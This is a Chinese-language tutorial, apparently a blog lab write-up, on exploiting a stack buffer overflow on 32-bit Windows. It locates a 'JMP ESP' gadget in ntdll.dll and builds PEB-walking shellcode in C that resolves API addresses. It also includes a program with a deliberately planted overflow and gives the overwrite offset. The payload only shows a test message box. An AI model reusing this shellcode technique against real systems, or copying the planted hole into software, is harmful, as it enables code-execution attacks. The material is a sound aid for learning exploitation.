在之前《栈溢出实践》里,所有地址都是现场获得并填入的,这篇进行一点改进。
获取’JMP ESP’指令
函数调用完之后,栈相较于调用之前都是平衡的,栈帧指向保存返回地址的下一帧。如果我们将返回地址指向‘jmp esp’指令,并且在保存返回地址的下一帧起始处填入代码,就无需定位运行代码的起始地址。
‘JMP ESP’的机器码为 FF E4,可以通过以下代码获取‘JMP ESP’指令:
#include <Windows.h>
#include <stdio.h>
#define DLLNAME "ntdll.dll"
int main()
{
HMODULE hDll = LoadLibrary(DLLNAME);
if (!hDll)
return 0;
byte* pBase = (byte*)hDll;
int offset = 0;
while (!(pBase[offset] == 0xFF && pBase[offset + 1] == 0xE4))
offset++;
printf("%x\n", pBase + offset);
}
本例中‘JMP ESP’在ntdll.dll中的一个地址为77d101eb。
编写植入代码
代码获取kernel32.dll的基地址( 《获取DLL的基地址》 ),通过kernel32.dll的导出表找到其中的LoadLibraryA和ExitProcess函数地址。LoadLibraryA用于加载user32.dll,ExitProcess用于退出程序。接着在加载的user32.dll的导出表里寻找需要调用的MessageBoxA函数地址。( 《遍历导出表》 )
编写的代码如下,需要注意的是,字符串需要存在栈上:
#define DWORD int
#define WORD short
#include <wchar.h>
typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink;
struct _LIST_ENTRY *Blink;
} _LIST_ENTRY;
typedef struct _UNICODE_STRING
{
unsigned short Length;
unsigned short MaximumLength;
wchar_t* Buffer;
}_UNICODE_STRING;
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;
DWORD Base;
DWORD NumberOfFunctions;
DWORD NumberOfNames;
DWORD AddressOfFunctions; // RVA from base of image
DWORD AddressOfNames; // RVA from base of image
DWORD AddressOfNameOrdinals; // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
int findFunction(int baseAddr, char* searchName, int searchNameLen);
int main()
{
int* pPEB = 0;
__asm__(
"movl %%fs:0x30, %0"
: "=r"(pPEB)
:
:
);
int* pIDR = (int*)(*(pPEB + 0x03)); //0x03 * 4 = 0x0c
_LIST_ENTRY* pInLoadOrderModuleList = (_LIST_ENTRY*)(pIDR + 0x03); //0x03 * 4 = 0x0c
_LIST_ENTRY* pHead, *p;
p = pHead = pInLoadOrderModuleList->Flink;
wchar_t user32Name[] = {L'k',L'e',L'r',L'n',L'e',L'l',L'3',L'2',L'.',L'd',L'l',L'l'};
int baseAddr = 0;
int i;
do
{
_UNICODE_STRING* pBaseName = (_UNICODE_STRING*)(((int)p) + 0x2c);
if (pBaseName->Buffer != 0)
{
for (i = 0; i < sizeof(user32Name) / sizeof(wchar_t); i++)
{
wchar_t wch = *((pBaseName->Buffer) + i);
if (wch >= L'A' && wch <= L'Z')
wch = wch - L'A' + L'a';
if (wch != user32Name[i])
break;
}
if (i >= sizeof(user32Name) / sizeof(wchar_t))
{
baseAddr = *((int*)(((int)p) + 0x18));
break;
}
}
//
p = p->Flink;
} while (p != pHead);
if (baseAddr == 0)
return 0;
//基址找寻完毕
char searchLoadLibraryA[] = {'L','o','a','d','L','i','b','r','a','r','y','A'};
int VA_LoadLibraryA = findFunction(baseAddr, searchLoadLibraryA, sizeof(searchLoadLibraryA) );
char searchExitProcess[] = {'E','x','i','t','P','r','o','c','e','s','s'};
int VA_ExitProcess = findFunction(baseAddr, searchExitProcess, sizeof(searchExitProcess));
char dllName[] = {'u','s','e','r','3','2','.','d','l','l', '\0'};
__asm__(
"push %%eax;"
"call *%2;"
: "=a"(baseAddr)
: "a"(&dllName), "m"(VA_LoadLibraryA)
:
);
char searchMessageBoxA[] = {'M','e','s','s','a','g','e','B','o','x','A'};
int VA_MessageBoxA = findFunction(baseAddr, searchMessageBoxA, sizeof(searchMessageBoxA) );
char Msg[] = {'t','e','s','t', '\0'};
__asm__(
"push $0;"
"push %%eax;"
"push %%eax;"
"push $0;"
"call *%1;"
"push $0;"
"call *%2"
:
:"a"(&Msg), "m"(VA_MessageBoxA), "m"(VA_ExitProcess)
:
);
return 0;
}
int findFunction(int baseAddr, char* searchName, int searchNameLen)
{
IMAGE_EXPORT_DIRECTORY* exportDir;
int RVA, VA;
RVA = *((int*)(baseAddr + 0x3c));
VA = baseAddr + RVA; // File address of new exe header
VA += 0x78; //DataDirectory
RVA = *((int*)VA);
exportDir = (IMAGE_EXPORT_DIRECTORY*)(baseAddr + RVA);
int* RVAFunctions = (int*)(baseAddr + exportDir->AddressOfFunctions);
int* RVANames = (int*)(baseAddr + exportDir->AddressOfNames);
short* Ordinals = (short*)(baseAddr + exportDir->AddressOfNameOrdinals);
char* pName;
int i, j, VAFunction = 0, ordinal;
int numName = exportDir->NumberOfNames;
for (i = 0; i < numName; i++)
{
RVA = *(RVANames + i);
pName = (char*)(baseAddr + RVA);
for (j = 0; j < searchNameLen && searchName[j] == pName[j]; j++);
if (j >= searchNameLen)
{
ordinal = *(Ordinals + i);
RVA = *(RVAFunctions + ordinal);
VAFunction = baseAddr + RVA;
//printf("%d: %s - 0x%x\n", ordinal, pName, VAFunction);
break;
}
}
return VAFunction;
}
用gcc和ld编译链接成独立的二进制文件,省去用汇编代码编写的时间。
gcc -ffreestanding -c code.c -o test.o -m32 -fno-pic -fshort-wchar -O0
-ffreestanding选项为生成独立的文件。-m32选项为生成32位的输出文件。没有-fno-pic选项在链接时会产生“ ‘undefined reference to `GLOBAL_OFFSET_TABLE’ ”的错误。linux下的wchar_t是4个字节的,用-fshort-wchar生成两字节的wchar_t。-O0选项指不要优化,代码优化不正确会造成错误。
ld -o test.bin -Ttext 0x0 --oformat binary test.o -m elf_i386 -O0
-Ttext选项指定起始地址。–oformat binary指定生成独立的二进制文件。-m elf_i386选项指定基于elf_i386平台的文件。
实验
由于代码中有00字节,将之前的实验代码更改为:
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <string.h>
#define PASSWORD "1234567"
int verifyPassword(char* password)
{
int authenticated;
char buffer[44];
authenticated = strcmp(password, PASSWORD);
memcpy(buffer, password, 0x500);
return authenticated;
}
int main()
{
int validFlag = 0;
char password[0x500];
FILE* fp = fopen("D:\\password.txt", "rb");
if (fp == NULL)
return 0;
fread(password, sizeof(char), 0x500, fp);
validFlag = verifyPassword(password);
if (validFlag)
printf("incorrect password\n");
else
printf("Congratulation!");
return 0;
}
反汇编得到缓冲区的起始地址为ebp-0x30,所以需要0x30的无关字节覆盖到存储的栈帧ebp之前,再需要4字节覆盖存储的ebp,即0x34字节后需要填充4字节的‘JMP ESP’指令的地址,往后填入生成的代码:
再次运行实验代码,弹窗出现后程序结束。
后记
每此开机后ntdll.dll的地址也会变化,还需改进。